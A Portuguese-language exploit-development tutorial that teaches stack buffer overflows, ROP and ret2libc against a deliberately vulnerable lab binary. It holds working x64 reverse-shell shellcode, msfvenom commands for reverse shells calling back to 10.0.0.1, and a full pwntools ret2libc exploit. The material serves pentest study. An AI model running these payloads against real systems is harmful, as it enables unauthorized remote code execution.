Kaique Mitsuo Silva Yamamoto
Seguranca informacao

Exploit Development: Buffer Overflow, ROP e Shellcoding

Buffer overflow básico a avançado, shellcoding, ROP chains, ret2libc, ASLR/DEP bypass — desenvolvimento de exploits para pentest avançado.

Exploit development é a habilidade mais técnica em segurança ofensiva. Transforma uma vulnerabilidade de memória em execução de código arbitrário.


Buffer Overflow — Fundamentos

Stack layout

                    Higher addresses
                ┌──────────────────┐
                │   Arguments      │
                ├──────────────────┤
                │   Return addr    │  ← Sobrepor aqui
                ├──────────────────┤
                │   Saved EBP      │
                ├──────────────────┤
                │   Local vars     │
                │   ┌────────────┐ │
                │   │  buffer[8] │ │  ← Overflow começa aqui
                │   └────────────┘ │
                ├──────────────────┤
                │                  │
                    Lower addresses

Vulnerable code

// vuln.c
#include <string.h>
#include <stdio.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // Sem bounds checking!
    printf("Input: %s\n", buffer);
}

int main(int argc, char **argv) {
    vulnerable_function(argv[1]);
    return 0;
}

// Compilar sem proteções (para estudo):
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c

Finding offset

# Gerar pattern cíclico
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
# Output: Aa0Aa1Aa2Aa3Aa4Aa5...

# Rodar com pattern
./vuln Aa0Aa1Aa2Aa3Aa4Aa5...
# Segmentation fault at 0x61413161

# Encontrar offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x61413161
# Output: [*] Exact match at offset 72

# Buffer de 64 bytes + saved EBP (8 bytes) = 72 bytes até return address

Shellcoding

Reverse shell shellcode (x64 Linux)

; reverse_shell.asm
section .text
    global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    xor rdi, rdi
    mov dil, 2          ; AF_INET
    xor rsi, rsi
    mov sil, 1          ; SOCK_STREAM
    xor rdx, rdx        ; protocol = 0
    mov rax, 41         ; sys_socket
    syscall
    mov rdi, rax        ; fd do socket

    ; connect(fd, &addr, 16)
    xor rax, rax
    push rax             ; padding
    mov dword [rsp-4], 0x0100007f  ; 127.0.0.1 (network byte order)
    mov word [rsp-6], 0x5c11       ; port 4444 (network byte order)
    mov word [rsp-8], 2            ; AF_INET
    sub rsp, 8
    mov rsi, rsp
    mov dl, 16           ; sizeof(sockaddr_in)
    mov rax, 42          ; sys_connect
    syscall

    ; dup2(fd, 0/1/2)
    xor rsi, rsi
dup2_loop:
    mov rax, 33          ; sys_dup2
    syscall
    inc rsi
    cmp rsi, 3
    jl dup2_loop

    ; execve("/bin/sh", NULL, NULL)
    xor rax, rax
    push rax
    mov rbx, 0x68732f6e69622f2f  ; "//bin/sh"
    push rbx
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov al, 59           ; sys_execve
    syscall
# Gerar shellcode
nasm -f elf64 reverse_shell.asm
ld -o reverse_shell reverse_shell.o
objdump -d reverse_shell | grep '[0-9a-f]:' | cut -f2 | tr -d ' \n' | sed 's/../\\x&/g'

msfvenom (geração rápida)

# Reverse shell Linux x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.bin

# Windows reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.bin

# Sem caracteres ruins
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -b '\x00\x0a\x0d' -f raw

# Formato C
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f c

ROP (Return-Oriented Programming)

DEP (Data Execution Prevention) impede execução de shellcode na stack. ROP usa gadgets existentes no código.

Conceito

Instead of shellcode on stack:
┌─────────────────┐
│  gadget_addr_1  │ → pop rdi; ret
├─────────────────┤
│  argument_1     │ → valor para rdi
├─────────────────┤
│  gadget_addr_2  │ → pop rsi; ret
├─────────────────┤
│  argument_2     │ → valor para rsi
├─────────────────┤
│  system_addr    │ → chama system("/bin/sh")
└─────────────────┘

Encontrar gadgets

# ROPgadget
ROPgadget --binary ./vuln --ropchain
ROPgadget --binary ./vuln --only "pop|ret"
ROPgadget --binary ./vuln --only "mov|ret"
ROPgadget --binary ./vuln --string "/bin/sh"

# ropper
ropper -f ./vuln --search "pop rdi"
ropper -f ./vuln --search "pop rsi"

# one_gadget (encontra gadgets que dão shell direto)
one_gadget libc.so.6
# Output: endereços onde um único gadget executa execve("/bin/sh")

ret2libc exploit

from pwn import *

elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Gadgets
pop_rdi = 0x401206  # pop rdi; ret

# Addresses
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']

# Stage 1: leak libc address via puts(puts@GOT)
payload = b'A' * 72
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p = process('./vuln', argv=[payload])
leak = u64(p.recvline()[:6] + b'\x00\x00')
libc_base = leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# Stage 2: system("/bin/sh")
payload2 = b'A' * 72
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)

p.sendline(payload2)
p.interactive()

Proteções e Bypass

ProteçãoO que fazBypass
ASLRRandomiza endereços de memóriaLeak de endereço → calcular base
DEP/NXNão-executável stack/heapROP (ret2libc, ret2shellcode)
Stack CanaryValor antes de return addressLeak canary ou overwrite parcial
PIERandomiza base do executávelLeak de endereço do executável
RELROProtege GOTAtaque parcial (partial overwrite)
FORTIFYBounds checking em funçõesBypass com inputs não detectados

Stack Canary bypass

# 1. Leak canary via format string
# Se printf(input) existe:
# %17$p (ou outro offset) vaza canary

# 2. Brute-force byte a byte (fork server)
# Se processo fork(), canary é igual em todos os filhos
# Tentar 256 valores para cada byte

# 3. Overwrite parcial (1 byte)
# Se apenas último byte do canary é alterado
# 1/256 chance de manter canary intacto

ASLR bypass

# 1. Leak de endereço via format string
# %p ou %x vaza ponteiros da stack

# 2. Partial overwrite
# Overwrite apenas os 12 bits menos significativos
# (ASLR não randomiza os últimos 12 bits = page alignment)

# 3. Information leak via GOT
# puts(puts@GOT) vaza endereço real de puts em libc
# Calcular base de libc = leaked - puts_offset

# 4. Heap spray
# Alocar muitas cópias do shellcode em endereços previsíveis

Ferramentas

FerramentaUso
GDB + pwndbg/GEFDebugging, análise de memória
pwntoolsFramework de exploit em Python
ROPgadgetEncontrar gadgets ROP
ropperEncontrar gadgets ROP
one_gadgetGadgets que dão shell direto
checksecVerificar proteções do binário
msfvenomGerar shellcodes
radare2/rizinReverse engineering
GhidraDecompilador (NSA)
Binary NinjaReverse engineering

Referências

On this page